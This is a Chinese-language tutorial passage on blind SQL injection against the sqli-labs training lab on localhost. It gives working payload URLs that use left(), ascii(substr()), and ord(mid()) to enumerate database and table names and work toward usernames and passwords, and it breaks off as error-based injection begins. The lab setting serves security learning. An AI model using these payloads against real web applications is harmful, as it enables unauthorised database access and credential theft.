文章目录
1,布尔盲注—构造逻辑判断
①left(database(),1)
语句为:
http://localhost/sqli-labs-master/Less-5/?id=1' and left(database(),1)='a'#
left(database(),1)>’s’ //left()函数
left(a,b)从左侧截取a的前b位
表示从数据库名字第一个字母是否等于a,是则返回true
爆数据表:
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='e'--+
得到第一个表第一个字母为e,可采用二分法尝试。
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),2)='em'--+
举一反三得到第一个表为emails。那怎么得到第二个表名称呢?我们采用limit()函数:
limit(m,n):从m开始取n条记录
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),1)>'a'--+
一直得到users表
之后继续得到password与username
②ascii(substr())=n
语句:
http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101--+
substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值
爆数据表:
http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101--+
如何获取第一个表的第二位字符呢?
这里我们已经了解了substr()函数,这里使用substr(,2,1)即可。
其他同上,举一反三即可。
③regexp正则注入
因为本人不经常用此方法,此项不讲,可参考讲解
④ord()和mid()函数
语句:
http://localhost/sqli-labs-master/Less-5/?id=1' and ord(mid((select ifnull(cast(database() as char),0x20)from security.users order by id limit 0,1),1,1))>98--+
mid(a,b,c)从位置b开始,截取a字符串的c位
Ord()函数同ascii(),将字符转为ascii值
用法与ascii相似,举一反三即可。
2,报错盲注
基于报错的SQL盲注------构造payload让信息通过错误提示回显出来
①concat()floor(x)rand()
利用concat()fl